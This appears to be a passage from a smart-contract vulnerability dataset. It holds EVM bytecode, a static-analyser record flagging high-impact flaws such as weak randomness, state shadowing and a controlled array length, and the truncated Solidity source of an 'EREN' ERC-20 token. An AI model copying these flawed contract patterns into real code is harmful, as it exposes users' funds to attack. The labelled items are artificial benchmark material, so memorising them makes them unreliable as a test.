ffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610896613e05565b61089e613ead565b662386f26fc100003410156108b257600080fd5b600660029054906101000a900461ffff1661ffff168560ff1610806108ed5750600660049054906101000a900461ffff1661ffff168560ff16115b156108f757600080fd5b42826000018181525050620151808560ff160262ffffff16420182602001818152505060018260c0019015159081151581525050338260e0019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050348261010001818152505083838080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050826101600181905250600660009054906101000a900461ffff1682610120019061ffff16908161ffff1681525050600082610180019015159081151581525050600482610140019060ff16908160ff168152505060058054806001018281610a099190613eed565b91600052602060002090600b02016000849091909150600082015181600001556020820151816001015560408201518160020160008201518160000160006101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060208201518160000160086101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060408201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505060608201518160030160008201518160000160006101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060208201518160000160086101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060408201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505060808201518160040160008201518160000160006101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060208201518160000160086101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060408201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505060a08201518160050160008201518160000160006101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060208201518160000160086101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060408201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505060c08201518160060160006101000a81548160ff02191690831515021790555060e08201518160060160016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061010082015181600701556101208201518160080160006101000a81548161ffff021916908361ffff1602179055506101408201518160080160026101000a81548160ff021916908360ff160217905550610160820151816009019080519060200190610d68929190613f1f565b5061018082015181600a0160006101000a81548160ff0219169083151502179055505050506001816000019067ffffffffffffffff16908167ffffffffffffffff16815250506001816020019067ffffffffffffffff16908167ffffffffffffffff16815250506000816040019067ffffffffffffffff16908167ffffffffffffffff1681525050806005600660009054906101000a900461ffff1661ffff16815481101515610e1457fe5b90600052602060002090600b020160030160008201518160000160006101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060208201518160000160086101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060408201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550905050806005600660009054906101000a900461ffff1661ffff16815481101515610ed957fe5b90600052602060002090600b020160040160008201518160000160006101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060208201518160000160086101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060408201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550905050806005600660009054906101000a900461ffff1661ffff16815481101515610f9e57fe5b90600052602060002090600b020160050160008201518160000160006101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060208201518160000160086101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060408201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550905050806005600660009054906101000a900461ffff1661ffff1681548110151561106357fe5b90600052602060002090600b020160020160008201518160000160006101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060208201518160000160086101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060408201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055509050506001600660008282829054906101000a900461ffff160192506101000a81548161ffff021916908361ffff160217905550346007600082825401925050819055505050505050565b60016020528060005260406000206000915054906101000a900460ff1681565b60075481565b6000600a60008367ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561120b57600080fd5b80600260006101000a81548160ff02191690831515021790555050565b600080600080600080611239613f9f565b6000611243613e05565b60058a61ffff1681548110151561125657fe5b90600052602060002090600b02016101a06040519081016040529081600082015481526020016001820154815260200160028201606060405190810160405290816000820160009054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff1681526020016000820160089054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff1681526020016000820160109054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff1681525050815260200160038201606060405190810160405290816000820160009054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff1681526020016000820160089054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff1681526020016000820160109054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff1681525050815260200160048201606060405190810160405290816000820160009054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff1681526020016000820160089054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff1681526020016000820160109054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff1681525050815260200160058201606060405190810160405290816000820160009054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff1681526020016000820160089054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff1681526020016000820160109054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff168152505081526020016006820160009054906101000a900460ff161515151581526020016006820160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600782015481526020016008820160009054906101000a900461ffff1661ffff1661ffff1681526020016008820160029054906101000a900460ff1660ff1660ff168152602001600982018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156116825780601f1061165757610100808354040283529160200191611682565b820191906000526020600020905b81548152906001019060200180831161166557829003601f168201915b50505050508152602001600a820160009054906101000a900460ff161515151581525050905080600001519850806020015197508060c0015196508060e001519550806101000151945080610140015193508061016001519250806101800151915050919395975091939597565b600260009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561175e57600080fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415611841576000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600060148282829054906101000a900461ffff160392506101000a81548161ffff021916908361ffff1602179055505b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561189f57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6007543073ffffffffffffffffffffffffffffffffffffffff1631039081150290604051600060405180830381858888f19350505050151561191b57600080fd5b565b60011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561197c57600080fd5b600160058261ffff1681548110151561199157fe5b90600052602060002090600b0201600a0160006101000a81548160ff02191690831515021790555050565b600060149054906101000a900461ffff1681565b6119d8613e05565b60008060008060008060011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515611a4057600080fd5b60058861ffff16815481101515611a5357fe5b90600052602060002090600b02016101a06040519081016040529081600082015481526020016001820154815260200160028201606060405190810160405290816000820160009054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff1681526020016000820160089054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff1681526020016000820160109054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff1681525050815260200160038201606060405190810160405290816000820160009054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff1681526020016000820160089054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff1681526020016000820160109054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff1681525050815260200160048201606060405190810160405290816000820160009054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff1681526020016000820160089054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff1681526020016000820160109054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff1681525050815260200160058201606060405190810160405290816000820160009054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff1681526020016000820160089054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff1681526020016000820160109054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff168152505081526020016006820160009054906101000a900460ff161515151581526020016006820160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600782015481526020016008820160009054906101000a900461ffff1661ffff1661ffff1681526020016008820160029054906101000a900460ff1660ff1660ff168152602001600982018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611e7f5780601f10611e5457610100808354040283529160200191611e7f565b820191906000526020600020905b815481529060010190602001808311611e6257829003601f168201915b50505050508152602001600a820160009054906101000a900460ff16151515158152505096508660200151421015611eb657600080fd5b60008760c0019015159081151581525015611ed057600080fd5b600060058961ffff16815481101515611ee557fe5b90600052602060002090600b020160060160006101000a81548160ff021916908315150217905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1695508573ffffffffffffffffffffffffffffffffffffffff16639d06935360058a61ffff16815481101515611f6157fe5b90600052602060002090600b020160020160000160009054906101000a900467ffffffffffffffff16600060405161016001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1667ffffffffffffffff16815260200191505061016060405180830381600087803b1515611ffa57600080fd5b6102c65a03f1151561200b57600080fd5b505050604051805190602001805190602001805190602001805190602001805190602001805190602001805190602001805190602001805190602001805190602001805190509091929394959697989950909192939495969798509091929394959697509091929394959650909192939495509091929394509091929350909192509091509050809550508573ffffffffffffffffffffffffffffffffffffffff16639d06935360058a61ffff168154811015156120c557fe5b90600052602060002090600b020160030160000160009054906101000a900467ffffffffffffffff16600060405161016001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1667ffffffffffffffff16815260200191505061016060405180830381600087803b151561215e57600080fd5b6102c65a03f1151561216f57600080fd5b505050604051805190602001805190602001805190602001805190602001805190602001805190602001805190602001805190602001805190602001805190602001805190509091929394959697989950909192939495969798509091929394959697509091929394959650909192939495509091929394509091929350909192509091509050809450508573ffffffffffffffffffffffffffffffffffffffff16639d06935360058a61ffff1681548110151561222957fe5b90600052602060002090600b020160040160000160009054906101000a900467ffffffffffffffff16600060405161016001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1667ffffffffffffffff16815260200191505061016060405180830381600087803b15156122c257600080fd5b6102c65a03f115156122d357600080fd5b505050604051805190602001805190602001805190602001805190602001805190602001805190602001805190602001805190602001805190602001805190602001805190509091929394959697989950909192939495969798509091929394959697509091929394959650909192939495509091929394509091929350909192509091509050809350508573ffffffffffffffffffffffffffffffffffffffff16639d06935360058a61ffff1681548110151561238d57fe5b90600052602060002090600b020160050160000160009054906101000a900467ffffffffffffffff16600060405161016001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1667ffffffffffffffff16815260200191505061016060405180830381600087803b151561242657600080fd5b6102c65a03f1151561243757600080fd5b5050506040518051906020018051906020018051906020018051906020018051906020018051906020018051906020018051906020018051906020018051906020018051905090919293949596979899509091929394959697985090919293949596975090919293949596509091929394955090919293945090919293509091925090915090508092505060058861ffff168154811015156124d557fe5b90600052602060002090600b02016007015490508473ffffffffffffffffffffffffffffffffffffffff166108fc61251861251184602d613db7565b6064613dea565b9081150290604051600060405180830381858888f19350505050151561253d57600080fd5b8373ffffffffffffffffffffffffffffffffffffffff166108fc61256c612565846019613db7565b6064613dea565b9081150290604051600060405180830381858888f19350505050151561259157600080fd5b8273ffffffffffffffffffffffffffffffffffffffff166108fc6125c06125b984600f613db7565b6064613dea565b9081150290604051600060405180830381858888f1935050505015156125e557600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166108fc61261461260d846005613db7565b6064613dea565b9081150290604051600060405180830381858888f19350505050151561263957600080fd5b60006008600060058b61ffff1681548110151561265257fe5b90600052602060002090600b020160020160000160009054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006009600060058b61ffff168154811015156126cd57fe5b90600052602060002090600b020160020160000160089054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600a600060058b61ffff1681548110151561274857fe5b90600052602060002090600b020160020160000160109054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006008600060058b61ffff168154811015156127c357fe5b90600052602060002090600b020160030160000160009054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006009600060058b61ffff1681548110151561283e57fe5b90600052602060002090600b020160030160000160089054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600a600060058b61ffff168154811015156128b957fe5b90600052602060002090600b020160030160000160109054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006008600060058b61ffff1681548110151561293457fe5b90600052602060002090600b020160040160000160009054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006009600060058b61ffff168154811015156129af57fe5b90600052602060002090600b020160040160000160089054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600a600060058b61ffff16815481101515612a2a57fe5b90600052602060002090600b020160040160000160109054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006008600060058b61ffff16815481101515612aa557fe5b90600052602060002090600b020160050160000160009054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006009600060058b61ffff16815481101515612b2057fe5b90600052602060002090600b020160050160000160089054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600a600060058b61ffff16815481101515612b9b57fe5b90600052602060002090600b020160050160000160109054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550612c12612c0b82605a613db7565b6064613dea565b600754036007819055505050505050505050565b6000600960008367ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b612c6c613ead565b60011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515612ccb57600080fd5b86816000019067ffffffffffffffff16908167ffffffffffffffff168152505085816020019067ffffffffffffffff16908167ffffffffffffffff168152505084816040019067ffffffffffffffff16908167ffffffffffffffff168152505060008860ff161415612ded578060058a61ffff16815481101515612d4b57fe5b90600052602060002090600b020160030160008201518160000160006101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060208201518160000160086101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060408201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055509050505b60018860ff161415612eaf578060058a61ffff16815481101515612e0d57fe5b90600052602060002090600b020160040160008201518160000160006101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060208201518160000160086101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060408201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055509050505b60028860ff161415612f71578060058a61ffff16815481101515612ecf57fe5b90600052602060002090600b020160050160008201518160000160006101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060208201518160000160086101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060408201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055509050505b83816000019067ffffffffffffffff16908167ffffffffffffffff168152505082816020019067ffffffffffffffff16908167ffffffffffffffff168152505081816040019067ffffffffffffffff16908167ffffffffffffffff168152505060008860ff161415613093578060058a61ffff16815481101515612ff157fe5b90600052602060002090600b020160020160008201518160000160006101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060208201518160000160086101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060408201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055509050505b60018860ff161415613155578060058a61ffff168154811015156130b357fe5b90600052602060002090600b020160030160008201518160000160006101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060208201518160000160086101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060408201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055509050505b60028860ff161415613217578060058a61ffff1681548110151561317557fe5b90600052602060002090600b020160040160008201518160000160006101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060208201518160000160086101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060408201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055509050505b505050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561327d57600080fd5b60001515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561335f5760018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600060148282829054906101000a900461ffff160192506101000a81548161ffff021916908361ffff1602179055505b50565b61336a613ead565b60011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156133c957600080fd5b60058561ffff168154811015156133dc57fe5b90600052602060002090600b0201600501606060405190810160405290816000820160009054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff1681526020016000820160089054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff1681526020016000820160109054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff1681525050905060006008600060058861ffff168154811015156134aa57fe5b90600052602060002090600b020160050160000160009054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006009600060058861ffff1681548110151561352557fe5b90600052602060002090600b020160050160000160089054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600a600060058861ffff168154811015156135a057fe5b90600052602060002090600b020160050160000160109054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508360058661ffff1681548110151561361657fe5b90600052602060002090600b020160050160000160006101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055508260058661ffff1681548110151561366457fe5b90600052602060002090600b020160050160000160086101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055508160058661ffff168154811015156136b257fe5b90600052602060002090600b020160050160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506001600860008667ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960008567ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60008467ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050505050565b600660009054906101000a900461ffff1681565b6000808360ff161415613835578167ffffffffffffffff1660058561ffff168154811015156137f257fe5b90600052602060002090600b020160020160000160009054906101000a900467ffffffffffffffff1667ffffffffffffffff1614156138345760019050613981565b5b60018360ff1614156138a2578167ffffffffffffffff1660058561ffff1681548110151561385f57fe5b90600052602060002090600b020160030160000160009054906101000a900467ffffffffffffffff1667ffffffffffffffff1614156138a15760019050613981565b5b60028360ff16141561390f578167ffffffffffffffff1660058561ffff168154811015156138cc57fe5b90600052602060002090600b020160040160000160009054906101000a900467ffffffffffffffff1667ffffffffffffffff16141561390e5760019050613981565b5b60038360ff16141561397c578167ffffffffffffffff1660058561ffff1681548110151561393957fe5b90600052602060002090600b020160050160000160009054906101000a900467ffffffffffffffff1667ffffffffffffffff16141561397b5760019050613981565b5b600090505b9392505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b8160ff16600660026101000a81548161ffff021916908361ffff1602179055508060ff16600660046101000a81548161ffff021916908361ffff1602179055505050565b6000806000808561ffff161080613a31575060008460ff16105b80613a3f575060038460ff16115b80613a615750600660009054906101000a900461ffff1661ffff168561ffff16115b15613a6b57600080fd5b60008460ff161415613b365760058561ffff16815481101515613a8a57fe5b90600052602060002090600b020160020160000160009054906101000a900467ffffffffffffffff16925060058561ffff16815481101515613ac857fe5b90600052602060002090600b020160020160000160089054906101000a900467ffffffffffffffff16915060058561ffff16815481101515613b0657fe5b90600052602060002090600b020160020160000160109054906101000a900467ffffffffffffffff169050613d98565b60018460ff161415613c015760058561ffff16815481101515613b5557fe5b90600052602060002090600b020160030160000160009054906101000a900467ffffffffffffffff16925060058561ffff16815481101515613b9357fe5b90600052602060002090600b020160030160000160089054906101000a900467ffffffffffffffff16915060058561ffff16815481101515613bd157fe5b90600052602060002090600b020160030160000160109054906101000a900467ffffffffffffffff169050613d98565b60028460ff161415613ccc5760058561ffff16815481101515613c2057fe5b90600052602060002090600b020160040160000160009054906101000a900467ffffffffffffffff16925060058561ffff16815481101515613c5e57fe5b90600052602060002090600b020160040160000160089054906101000a900467ffffffffffffffff16915060058561ffff16815481101515613c9c57fe5b90600052602060002090600b020160040160000160109054906101000a900467ffffffffffffffff169050613d98565b60038460ff161415613d975760058561ffff16815481101515613ceb57fe5b90600052602060002090600b020160050160000160009054906101000a900467ffffffffffffffff16925060058561ffff16815481101515613d2957fe5b90600052602060002090600b020160050160000160089054906101000a900467ffffffffffffffff16915060058561ffff16815481101515613d6757fe5b90600052602060002090600b020160050160000160109054906101000a900467ffffffffffffffff169050613d98565b5b9250925092565b6000600660009054906101000a900461ffff16905090565b60008082840290506000841480613dd85750828482811515613dd557fe5b04145b1515613de057fe5b8091505092915050565b6000808284811515613df857fe5b0490508091505092915050565b6102a0604051908101604052806000815260200160008152602001613e28613fb3565b8152602001613e35613fb3565b8152602001613e42613fb3565b8152602001613e4f613fb3565b8152602001600015158152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152602001600061ffff168152602001600060ff168152602001613e9e613ff3565b81526020016000151581525090565b606060405190810160405280600067ffffffffffffffff168152602001600067ffffffffffffffff168152602001600067ffffffffffffffff1681525090565b815481835581811511613f1a57600b0281600b028360005260206000209182019101613f199190614007565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10613f6057805160ff1916838001178555613f8e565b82800160010185558215613f8e579182015b82811115613f8d578251825591602001919060010190613f72565b5b509050613f9b9190614226565b5090565b602060405190810160405280600081525090565b606060405190810160405280600067ffffffffffffffff168152602001600067ffffffffffffffff168152602001600067ffffffffffffffff1681525090565b602060405190810160405280600081525090565b61422391905b8082111561421f57600080820160009055600182016000905560028201600080820160006101000a81549067ffffffffffffffff02191690556000820160086101000a81549067ffffffffffffffff02191690556000820160106101000a81549067ffffffffffffffff0219169055505060038201600080820160006101000a81549067ffffffffffffffff02191690556000820160086101000a81549067ffffffffffffffff02191690556000820160106101000a81549067ffffffffffffffff0219169055505060048201600080820160006101000a81549067ffffffffffffffff02191690556000820160086101000a81549067ffffffffffffffff02191690556000820160106101000a81549067ffffffffffffffff0219169055505060058201600080820160006101000a81549067ffffffffffffffff02191690556000820160086101000a81549067ffffffffffffffff02191690556000820160106101000a81549067ffffffffffffffff021916905550506006820160006101000a81549060ff02191690556006820160016101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905560078201600090556008820160006101000a81549061ffff02191690556008820160026101000a81549060ff0219169055600982016000614202919061424b565b600a820160006101000a81549060ff021916905550600b0161400d565b5090565b90565b61424891905b8082111561424457600081600090555060010161422c565b5090565b90565b50805460018160011615610100020316600290046000825580601f106142715750614290565b601f01602090049060005260206000209081019061428f9190614226565b5b505600a165627a7a7230582052b2e29f20114b8937efddb39dc29581d8d13012d09699e1eb9a5ec30c89344d0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 9,415 |
0x9eb68308f8909d427cf847e196ce50aad5d0d402
|
/**
EREN - ATTACK ON TITAN. https://t.me/ATTACKONTITANETH
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract EREN is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Attack On Titan";//
string private constant _symbol = "EREN";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 7;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 13;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x7b6f5A2B1905197dccFa98F4CAd0706A2AD09f23);//
